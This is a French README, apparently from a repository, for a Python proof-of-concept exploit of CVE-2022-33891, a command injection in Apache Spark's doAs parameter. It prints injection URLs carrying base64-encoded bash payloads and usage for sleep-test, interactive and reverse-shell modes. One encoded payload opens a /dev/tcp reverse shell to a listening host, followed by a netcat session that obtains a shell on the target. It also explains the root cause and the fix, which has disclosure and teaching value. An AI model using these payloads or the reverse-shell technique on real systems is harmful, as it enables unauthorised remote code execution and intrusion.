
Preuve de concept en Python pour l'injection de commandes dans Apache Spark Shell (CVE-2022-33891), avec détection basée sur le sommeil, exécution interactive de commandes et capacités de shell inversé contre les interfaces Spark vulnérables.
Vulnérabilité d'injection de commande dans le shell Apache Spark
Un POC Python pour exploiter la vulnérabilité d'injection de commande dans le shell Apache Spark. J'ai vu d'autres POC ailleurs, mais ils semblaient super louches. Celui-ci est propre et simple.
Je n'ai pas découvert cet exploit/cette vulnérabilité. Je voulais juste faire un POC sûr pour la communauté ^.^
Versions Apache Spark 3.0.3 et antérieures, versions 3.1.1 à 3.1.2, et versions 3.2.0 à 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
Exemple
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... met en veille pendant 10 secondes
Vous avez besoin d'une version vulnérable de Spark avec une seule option de configuration modifiée.
$ pip3 install -r requirements.txtspark/docker-compose.yml fourni dans le répertoire spark/ et exécutez docker-compose up. Laissez le conteneur démarrer.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose upusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is exploitable with a sleep test
Vérifiez si la cible est vulnérable :
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!
Émettez des commandes dans une boucle d'invite de commande :
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
Exécutez un shell inversé :
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[dans l'autre terminal]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
L'injection de commande se produit car Spark vérifie l'appartenance au groupe de l'utilisateur passé dans le paramètre ?doAs en utilisant une commande Linux brute.
Passer id comme utilisateur produit cette erreur dans la trace :
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
Ici, Java a décidé qu'il serait préférable de passer la commande id dans bash -c pour vérifier l'appartenance au groupe d'un utilisateur spécifié. Le problème est que cela permet également l'injection de commande.
Les versions corrigées paramètrent cet appel pour avoir un chemin complet vers la commande /bin/id au lieu de bash -c id
Il est à noter que rien n'est réfléchi sur la page lors de l'exécution de la commande, il s'agit donc d'une injection OS aveugle. Vos commandes s'exécutent, mais il n'y aura aucune indication si elles ont fonctionné ou non, ni même si le programme que vous exécutez est sur la cible. Par exemple, le conteneur qui est démarré avec le fichier docker-compose.yml de ce dépôt n'a pas ping, donc vérifier l'injection de commande via un pingback ne fonctionnera pas. Mais vous ne saurez pas que c'est le cas, donc vous resterez à vous demander si ça a fonctionné ou non.
Le test de mise en veille est un pari sûr ^.^